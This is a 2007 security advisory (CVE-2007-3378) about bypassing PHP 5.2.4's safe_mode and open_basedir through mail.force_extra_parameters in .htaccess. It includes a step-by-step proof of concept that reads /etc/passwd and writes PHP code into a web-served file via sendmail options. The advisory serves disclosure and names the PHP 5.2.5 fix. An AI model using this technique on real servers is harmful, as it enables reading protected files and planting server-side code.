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If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
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| Details : SecurityReason Advisory |
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Topic : PHP 5.2.4 mail.force_extra_parameters unsecure
SecurityAlert : 47
CVE : CVE-2007-3378
SecurityRisk : Medium (About)
Remote Exploit : No
Local Exploit : Yes
Exploit Given : Yes
Credit : Maksymilian Arciemowicz
Date : 25.11.2007
Affected Software : | PHP <= 5.2.4 |
 Advisory Text : -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[PHP 5.2.4 mail.force_extra_parameters unsecure ]
Author: Maksymilian Arciemowicz (cXIb8O3)
SecurityReason
Date:
- - Written: 06.09.2007
- - Public: 0x.0x.2007
SecurityReason Research
SecurityAlert Id: 47
CVE: CVE-2007-3378
SecurityRisk: Medium
Affected Software: PHP <= 5.2.4
Advisory URL:
http://securityreason.com/achievement_securityalert/47
Vendor: http://www.php.net
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.
When using PHP as an Apache module, you can also change the configuration
settings using directives in Apache configuration files (e.g. httpd.conf)
and .htaccess files. You will need "AllowOverride Options" or
"AllowOverride All" privileges to do so.
php_value name value
Sets the value of the specified directive. Can be used only with
PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a previously set
value use none as the value.
Note: Don't use php_value to set boolean values. php_flag (see below)
should be used instead.
php_flag name on|off
Used to set a boolean configuration directive. Can be used only with
PHP_INI_ALL and PHP_INI_PERDIR type directives.
mail.force_extra_parameters - Force the addition of the specified
parameters to be passed as extra parameters to the sendmail binary. These
parameters will always replace the value of the 5th parameter to mail(),
even in safe mode
http://pl.php.net/manual/en/configuration.changes.php
- --- 1. htaccess safemode and open_basedir Bypass Vulnerability per
mail.force_extra_parameters ---
We have recrived a lot of question about news
http://securityreason.com/news/0/0x1f . And we will show How to exploit
this issue. When using PHP as an Apache module, you can also change the
configuration settings using directives in .htaccess file. But it is
possible to bypass a safe_mode or open_basedir per
mail.force_extra_parameters. In a lot of servers is sendmail, can be also
exim etc. But we show how to exploit this for a famous mail server
(SENDMAIL).
For example you can set mail.force_extra_parameters via .htaccess.
cxib# curl -I http://localhost:82
HTTP/1.1 200 OK
Date: Thu, 06 Sep 2007 22:18:35 GMT
Server: Apache/2.2.4 (FreeBSD) mod_ssl/2.2.4 OpenSSL/0.9.7e-p1 DAV/2
PHP/5.2.4
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "27e4f0-2c-4c23b600"
Accept-Ranges: bytes
Content-Length: 44
Content-Type: text/html
Apache 2.2.4 and PHP 5.2.4. Let's see folder "/narkotyk" in localhost:82.
cxib# ls -la
total 10
drwxrwxrwx 2 www www 512 Sep 7 00:26 .
drwxr-xr-x 4 www wheel 512 Sep 7 00:22 ..
- -rw-r--r-- 1 www www 106 Sep 7 00:25 .htaccess
- -rw-r--r-- 1 www www 29 Sep 7 00:25 file1.php
- -rw-r--r-- 1 www www 56 Sep 7 00:26 file2.php
cxib# cat file1.php
<? include("/etc/passwd"); ?>
cxib# curl http://localhost:82/narkotyk/file1.php
<br />
<b>Warning</b>: include() [<a
href='function.include'>function.include</a>]: SAFE MODE Restriction in
effect. The script whose uid is 80 is not allowed to access /etc/passwd
owned by uid 0 in <b>/usr/local/www/apache22/data/narkotyk/file1.php</b> on
line <b>1</b><br />
<br />
<b>Warning</b>: include(/etc/passwd) [<a
href='function.include'>function.include</a>]: failed to open stream:
Invalid argument in <b>/usr/local/www/apache22/data/narkotyk/file1.php</b>
on line <b>1</b><br />
<br />
<b>Warning</b>: include() [<a
href='function.include'>function.include</a>]: Failed opening '/etc/passwd'
for inclusion (include_path='.:') in
<b>/usr/local/www/apache22/data/narkotyk/file1.php</b> on line <b>1</b><br
/>
so safe_mode is open.
Let's see files .htaccess and file2.php
cxib# cat file2.php
<? var_dump(mail("root@localhost", "hallo", "root")); ?>
cxib# cat .htaccess
php_value mail.force_extra_parameters '-C /etc/passwd -X
/usr/local/www/apache22/data/narkotyk/result.txt'
and let's send request to file2.php
cxib# curl http://localhost:82/narkotyk/file2.php
bool(false)
False!? No
cxib# ls -la /usr/local/www/apache22/data/narkotyk/result.txt
- -rw-r--r-- 1 www www 7130 Sep 7 00:31
/usr/local/www/apache22/data/narkotyk/result.txt
cxib#
result.txt has been created.
cxib# cat /usr/local/www/apache22/data/narkotyk/result.txt
69647 >>> /etc/passwd: line 3: unknown configuration line
"root:*:0:0:Charlie &:/root:/bin/csh"
69647 >>> /etc/passwd: line 4: unknown configuration line
"toor:*:0:0:Bourne-again Superuser:/root:"
..... etc.
We can read file and safe_mode and open_basedir is bypassed.
It is possible create file with php code. But we need have sendmail.cf to
send email.
Example:
cxib# cat .htaccess
php_value mail.force_extra_parameters '-C
/usr/local/www/apache22/data/narkotyk/sendmail.cf -X
/usr/local/www/apache22/data/narkotyk/phpcode.php'
cxib# cat file3.php
<? var_dump(mail("root@xxxxxxxxxxxxxxxxxx", "h<? phpinfo(); ?>allo",
"root")); ?>
We need create /usr/local/www/apache22/data/narkotyk/sendmail.cf and
configure this file. Then
cxib# curl http://localhost:82/narkotyk/file3.php
bool(true)
cxib#
cxib# cat phpcode.php
69755 <<< To: root@xxxxxxxxxxxxxxxxxx
69755 <<< Subject: h<? phpinfo(); ?>allo
69755 <<<
69755 <<< root
69755 <<< [EOF]
69757 === CONNECT securityreason.pl
... etc
and now
cxib# curl http://localhost:82/narkotyk/phpcode.php
69755 <<< To: root@xxxxxxxxxxxxxxxxxx
69755 <<< Subject: h<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html><head>
<style type="text/css">
body {background-color: #ffffff; color: #000000;}
body, td, th, h1, h2 {font-family: sans-serif;}
... phpinfo().
This was example for php 5.2.4 with sendmail. But we think, it is possible
exploit exim and more send mail programs. In PHP 5.2.4
mail.force_extra_parameters is filtered per php_escape_shell_cmd(). But we
needn't bypass this function.
- --- mail.c ---
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
- --- mail.c ---
Interesting is:
- --- mail.c ---
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in
effect. The fifth parameter is disabled in SAFE MODE.");
RETURN_FALSE;
}
- --- mail.c ---
5 th parameter in mail() function is checked. mail.force_extra_parameters
no.
Before public advisory we tested issue and we send advisory to PHP Team.
Main problem is that, we do not recived any answer.
We do not checked patch to CVE-2007-3378 (SREASONRES:20070627), but we are
using CVE-2007-3378 to identification .
http://securityreason.com/achievement_securityalert/47
php_escape_shell_cmd() is not reason for CVE-2007-3378.
- --- 2. Exploit ---
SecurityReason will not public official exploit for this issue.
Anybody can self exploit this.
- --- 3. How to fix ---
- --- note from SREASONRES:20070627 ---
This bug has been founded on February 2007
We contacted with PHP Team again.
With co-operation Stanislav Malyshev from PHP Team the PHP 5.2.5 is now
fully patched against "mail.force_extra_parameters" issue .
- --- note from SREASONRES:20070627 ---
Update to PHP5.2.5
- --- 4. Greets ---
For: sp3x, Infospec, p_e_a, l5x and Stefan Esser
- --- 5. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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